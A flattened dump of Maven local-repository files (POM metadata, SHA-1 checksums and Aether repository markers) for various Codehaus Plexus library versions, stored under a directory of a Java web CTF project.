e16f1c9b83cdeb142fc038dd0262c61121d58c4b /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.5.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:57 CST 2018 plexus-containers-1.5.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.5.5/plexus-containers-1.5.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus 2.0.7 plexus-containers 1.5.5 pom Plexus Containers Plexus IoC Container core with companion tools. plexus-component-annotations plexus-component-metadata plexus-component-javadoc plexus-container-default scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.5.5 scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.5.5 http://fisheye.codehaus.org/browse/plexus/plexus-containers/tags/plexus-containers-1.5.5 2.2.2 1.4.5 3.4 UTF-8 org.codehaus.plexus plexus-container-default ${project.version} org.codehaus.plexus plexus-component-annotations ${project.version} org.codehaus.plexus plexus-component-metadata ${project.version} org.codehaus.plexus plexus-classworlds ${classWorldsVersion} org.codehaus.plexus plexus-utils ${plexusUtilsVersion} org.apache.xbean xbean-reflect ${xbeanReflectVersion} com.thoughtworks.qdox qdox 1.9.2 jdom jdom 1.0 org.apache.maven maven-plugin-api 2.0.9 org.apache.maven maven-model 2.0.9 org.apache.maven maven-project 2.0.9 com.google.collections google-collections 1.0 junit junit 3.8.2 maven-compiler-plugin 1.5 1.5 ${project.build.sourceEncoding} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.5.5/plexus-containers-1.5.5.pom.sha1 ================================================ cd786b660f8a4c1c520403a5fa04c7be45212b84 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:40 CST 2018 plexus-digest-1.0.jar>central= plexus-digest-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/plexus-digest-1.0.jar.sha1 ================================================ 5f6a5a5140cd39e8c987cf6c31429d917b31166e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/plexus-digest-1.0.pom ================================================ plexus-components org.codehaus.plexus 1.1.7 4.0.0 plexus-digest Plexus Digest / Hashcode Components 1.0 scm:svn:https://svn.codehaus.org/plexus/tags/plexus-digest-1.0 scm:svn:https://svn.codehaus.org/plexus/tags/plexus-digest-1.0 https://svn.codehaus.org/plexus/tags/plexus-digest-1.0 org.codehaus.plexus plexus-maven-plugin descriptor deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/plexus-digest-1.0.pom.sha1 ================================================ df5c2e55c9f30db34972661819437f1802128861 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 plexus-i18n-1.0-beta-7.jar>central= plexus-i18n-1.0-beta-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/plexus-i18n-1.0-beta-7.jar.sha1 ================================================ 3690f10a668b3c7ac2ef563f14cfb6b2ba30ee57 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/plexus-i18n-1.0-beta-7.pom ================================================ plexus-components org.codehaus.plexus 1.1.12 4.0.0 plexus-i18n Plexus I18N Component 1.0-beta-7 org.codehaus.plexus plexus-utils 1.4.1 scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-i18n-1.0-beta-7 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-i18n-1.0-beta-7 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-i18n-1.0-beta-7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/plexus-i18n-1.0-beta-7.pom.sha1 ================================================ 5080cbaf0a98e413017ed074c845673c16546500 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 plexus-interactivity-api-1.0-alpha-4.jar>central= plexus-interactivity-api-1.0-alpha-4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.jar.sha1 ================================================ 0a8f1178664a5457eef3f4531eb62f9505e1295f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom ================================================ 4.0.0 org.codehaus.plexus plexus-interactivity-api Plexus Default Interactivity Handler 1.0-alpha-4
      dev@plexus.codehaus.org
      irc 6667 #plexus irc.codehaus.org
      2001 Plexus Developer List http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/pipermail/plexus-dev/ jvanzyl Jason van Zyl jason@zenplex.com Zenplex Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer trygvis Trygve Laugstol trygvis@codehaus.org Developer kenney Kenney Westerhof kenney@codehaus.org Developer scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/plexus-components/plexus-interactivity/plexus-interactivity-api scm:svn:https://svn.codehaus.org/plexus/trunk/plexus-components/plexus-interactivity/plexus-interactivity-api Codehaus http://www.codehaus.org/ src/main/java src/main/scripts src/test/java target/classes target/test-classes src/main/resources src/test/resources target maven-release-plugin https://svn.codehaus.org/plexus/tags false snapshots Maven Snapshot Development Repository http://snapshots.maven.codehaus.org/maven2 false central Maven Repository Switchboard http://repo1.maven.org/maven2 false snapshots-plugins Maven Snapshot Plugins Development Repository http://snapshots.maven.codehaus.org/maven2 false central Maven Plugin Repository http://repo1.maven.org/maven2 org.codehaus.plexus plexus-container-default 1.0-alpha-7 compile junit junit 3.8.1 test classworlds classworlds 1.1-alpha-2 compile plexus plexus-utils 1.0.2 compile target/site repo1 Maven Central Repository scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2 snapshots Maven Central Development Repository scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2 deployed
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom.sha1 ================================================ 1376ffcc4a8d46dee6c1a9096d0dcad3be01f838 /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 plexus-interpolation-1.11.jar>central= plexus-interpolation-1.11.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.jar.sha1 ================================================ ad9dddff6043194904ad1d2c00ff1d003c3915f7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom ================================================ 4.0.0 org.codehaus.plexus plexus-components 1.1.14 plexus-interpolation 1.11 Plexus Interpolation API scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.11 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.11 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.11 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom.sha1 ================================================ f03da80999422b6cc4300735789be83e4498a3bc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:38 CST 2018 plexus-interpolation-1.12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.12/plexus-interpolation-1.12.pom ================================================ 4.0.0 org.codehaus.plexus plexus-components 1.1.14 plexus-interpolation 1.12 Plexus Interpolation API scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.12 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.12 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.12 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.12/plexus-interpolation-1.12.pom.sha1 ================================================ 101dd833f7186103b61a0281da38c95ae440eb63 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 plexus-interpolation-1.13.pom>central= plexus-interpolation-1.13.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/plexus-interpolation-1.13.jar.sha1 ================================================ 1740038076cec1946fd28ed5ac5c1688f7cf7630 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/plexus-interpolation-1.13.pom ================================================ 4.0.0 org.codehaus.plexus plexus-components 1.1.15 plexus-interpolation 1.13 Plexus Interpolation API scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.13 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.13 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.13 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/plexus-interpolation-1.13.pom.sha1 ================================================ 5003aac564f8ab42ceede81b114c520b48271873 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 plexus-interpolation-1.14.jar>central= plexus-interpolation-1.14.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.jar.sha1 ================================================ c88dd864fe8b8256c25558ce7cd63be66ba07693 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom ================================================ 4.0.0 org.codehaus.plexus plexus-components 1.1.18 plexus-interpolation 1.14 Plexus Interpolation API scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.14 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.14 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.14 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom.sha1 ================================================ e296d45aff17c16ed268c5b9480214a0d92937ab ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:20 CST 2018 plexus-interpolation-1.15.jar>central= plexus-interpolation-1.15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/plexus-interpolation-1.15.jar.sha1 ================================================ d682b4b8c1a92329d5b114a51794ef178168abbe ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/plexus-interpolation-1.15.pom ================================================ 4.0.0 org.codehaus.plexus plexus 3.0.1 org.codehaus.plexus plexus-interpolation 1.15 Plexus Interpolation API scm:git:git@github.com:sonatype/plexus-interpolation.git scm:git:git@github.com:sonatype/plexus-interpolation.git http://github.com/sonatype/plexus-interpolation junit junit 3.8.2 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/plexus-interpolation-1.15.pom.sha1 ================================================ 3dda3be2ada841f5ca3976a48281349a99f27e89 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:05 CST 2018 plexus-interpolation-1.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.6/plexus-interpolation-1.6.pom ================================================ 4.0.0 org.codehaus.plexus plexus 1.0.11 plexus-interpolation 1.6 Plexus Interpolation API scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.6 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.6 http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.6 junit junit 3.8.1 test maven-release-plugin 2.0-beta-6 https://svn.codehaus.org/plexus/plexus-components/tags true -Prelease codehaus.org dav:https://dav.codehaus.org/plexus/plexus-components/plexus-interpolation maven-javadoc-plugin 2.4 release org.apache.maven.plugins maven-source-plugin 2.0.4 attach-sources jar org.apache.maven.plugins maven-javadoc-plugin 2.4 attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.6/plexus-interpolation-1.6.pom.sha1 ================================================ 849b6ca6d5694099fead0cd025df25ec813a4398 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 plexus-io-1.0.jar>central= plexus-io-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/plexus-io-1.0.jar.sha1 ================================================ bb1de3fa6a3eea8056bd1b165750d2b761514331 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/plexus-io-1.0.pom ================================================ 4.0.0 plexus-components org.codehaus.plexus 1.1.17 plexus-io 1.0 Plexus IO Components scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-io-1.0 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-io-1.0 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-io-1.0 org.codehaus.plexus plexus-utils 2.0.5 org.codehaus.plexus plexus-container-default provided ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/plexus-io-1.0.pom.sha1 ================================================ 8442373b14f4b75671edaf9017682f380451caf3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:40 CST 2018 plexus-io-2.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.1/plexus-io-2.0.1.pom ================================================ 4.0.0 plexus-components org.codehaus.plexus 1.1.19 plexus-io 2.0.1 Plexus IO Components scm:git:git@github.com:sonatype/plexus-io.git scm:git:git@github.com:sonatype/plexus-io.git http://github.com/sonatype/plexus-io jira http://jira.codehaus.org/browse/PLXCOMP/component/14319 org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default provided org.apache.maven.plugins maven-compiler-plugin 2.3.1 1.5 1.5 org.apache.maven.plugins maven-release-plugin 2.2.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.1/plexus-io-2.0.1.pom.sha1 ================================================ a9cae1571f6c8c51c5847e220920266c5229fa5f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:19 CST 2018 plexus-io-2.0.2.jar>central= plexus-io-2.0.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/plexus-io-2.0.2.jar.sha1 ================================================ 5d1890f1099242d6a1a6a46640eed931a96ef67f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/plexus-io-2.0.2.pom ================================================ 4.0.0 plexus-components org.codehaus.plexus 1.1.19 plexus-io 2.0.2 Plexus IO Components scm:git:git@github.com:sonatype/plexus-io.git scm:git:git@github.com:sonatype/plexus-io.git http://github.com/sonatype/plexus-io jira http://jira.codehaus.org/browse/PLXCOMP/component/14319 org.codehaus.plexus plexus-utils 3.0 org.codehaus.plexus plexus-container-default provided org.apache.maven.plugins maven-compiler-plugin 2.3.1 1.5 1.5 org.apache.maven.plugins maven-release-plugin 2.2.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/2.0.2/plexus-io-2.0.2.pom.sha1 ================================================ d0ad15a280e5bf6c32388cbef26fd7d428fa1623 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.0.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:17 CST 2018 plexus-utils-1.0.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom ================================================ 4.0.0 org.codehaus.plexus plexus-utils Plexus Common Utilities 1.0.4
      dev@plexus.codehaus.org
      irc 6667 #plexus irc.codehaus.org
      2001 Plexus Developer List http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/pipermail/plexus-dev/ jvanzyl Jason van Zyl jason@zenplex.com Zenplex Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer trygvis Trygve Laugstol trygvis@codehaus.org Developer kenney Kenney Westerhof kenney@codehaus.org Developer scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/plexus-utils scm:svn:https://svn.codehaus.org/plexus/trunk/plexus-utils Codehaus http://www.codehaus.org/ src/main/java src/main/scripts src/test/java target/classes target/test-classes src/main/resources src/test/resources target maven-release-plugin 2.0-beta-3-SNAPSHOT https://svn.codehaus.org/plexus/tags maven-surefire-plugin RELEASE org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java false snapshots Maven Snapshot Development Repository http://snapshots.maven.codehaus.org/maven2 false central Maven Repository Switchboard http://repo1.maven.org/maven2 false snapshots-plugins Maven Snapshot Plugins Development Repository http://snapshots.maven.codehaus.org/maven2 false central Maven Plugin Repository http://repo1.maven.org/maven2 junit junit 3.8.1 test target/site repo1 Maven Central Repository scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2 snapshots Maven Central Development Repository scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2 deployed
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom.sha1 ================================================ a82e1ddd2d795616ac58d73ed246b8ec65326dfa /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-utils/1.0.4/plexus-utils-1.0.4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:06 CST 2018 plexus-utils-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.3/plexus-utils-1.3.pom ================================================ plexus org.codehaus.plexus 1.0.8 4.0.0 plexus-utils Plexus Common Utilities 1.3 scm:svn:https://svn.codehaus.org/plexus/tags/plexus-utils-1.3 scm:svn:https://svn.codehaus.org/plexus/tags/plexus-utils-1.3 maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.3/plexus-utils-1.3.pom.sha1 ================================================ 050fadd040060c86cfd5d78ba95dab0cffcbcf5e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:31 CST 2018 plexus-utils-1.4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom ================================================ plexus org.codehaus.plexus 1.0.11 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.4.1 maven-compiler-plugin 1.3 1.3 maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.1 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.1 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.4.1 maven-javadoc-plugin maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.1/plexus-utils-1.4.1.pom.sha1 ================================================ 0a77530df5e881e55a4ffaea4b6bf33d57bc5b26 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:22 CST 2018 plexus-utils-1.4.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.2/plexus-utils-1.4.2.pom ================================================ plexus org.codehaus.plexus 1.0.11 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.4.2 maven-compiler-plugin 1.3 1.3 maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.2 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.2 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.4.2 maven-javadoc-plugin maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.2/plexus-utils-1.4.2.pom.sha1 ================================================ f530a0f2aae3ef8e65ca359e7243d67ecc366076 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:49 CST 2018 plexus-utils-1.4.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.5/plexus-utils-1.4.5.pom ================================================ plexus org.codehaus.plexus 1.0.11 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.4.5 http://plexus.codehaus.org/plexus-utils maven-compiler-plugin 1.3 1.3 maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.5 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.4.5 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.4.5 maven-javadoc-plugin maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.4.5/plexus-utils-1.4.5.pom.sha1 ================================================ 0bdc8a7fbce7d9007a93d289a029b43e1196d85c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 plexus-utils-1.5.1.pom>central= plexus-utils-1.5.1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/plexus-utils-1.5.1.jar.sha1 ================================================ 342d1eb41a2bc7b52fa2e54e9872463fc86e2650 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/plexus-utils-1.5.1.pom ================================================ plexus org.codehaus.plexus 1.0.11 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.5.1 http://plexus.codehaus.org/plexus-utils maven-compiler-plugin 1.3 1.3 maven-surefire-plugin 2.3 true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.1 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.1 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.1 maven-javadoc-plugin maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.1/plexus-utils-1.5.1.pom.sha1 ================================================ 2a0b3470063440066d3b8a084340ce07dbdbfedc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 plexus-utils-1.5.10.jar>central= plexus-utils-1.5.10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/plexus-utils-1.5.10.jar.sha1 ================================================ f387a2faa309154d90b90cc049e44b7833a6c282 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/plexus-utils-1.5.10.pom ================================================ plexus org.codehaus.plexus 2.0.2 ../pom/pom.xml 4.0.0 plexus-utils Plexus Common Utilities 1.5.10 A collection of various utility classes to ease working with strings, files, command lines, XML and more. http://plexus.codehaus.org/plexus-utils JIRA http://jira.codehaus.org/browse/PLXUTILS scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.10 scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.10 http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.10 maven-shade-plugin 1.0.1 maven-release-plugin 2.0-beta-7 maven-compiler-plugin 1.3 1.3 maven-surefire-plugin true org/codehaus/plexus/util/FileBasedTestCase.java **/Test*.java JAVA_HOME ${JAVA_HOME} M2_HOME ${M2_HOME} maven-shade-plugin shade shade org.codehaus.plexus:plexus-interpolation org.codehaus.plexus.interpolation true maven-release-plugin true https://svn.codehaus.org/plexus/plexus-utils/tags/ -Prelease release maven-source-plugin attach-sources jar maven-javadoc-plugin attach-javadocs jar org.codehaus.plexus plexus-interpolation 1.8 provided plexus-component-api org.codehaus.plexus plexus-classworlds org.codehaus.plexus junit junit 3.8.2 test maven-javadoc-plugin http://java.sun.com/j2se/1.4.2/docs/api/ maven-jxr-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/plexus-utils-1.5.10.pom.sha1 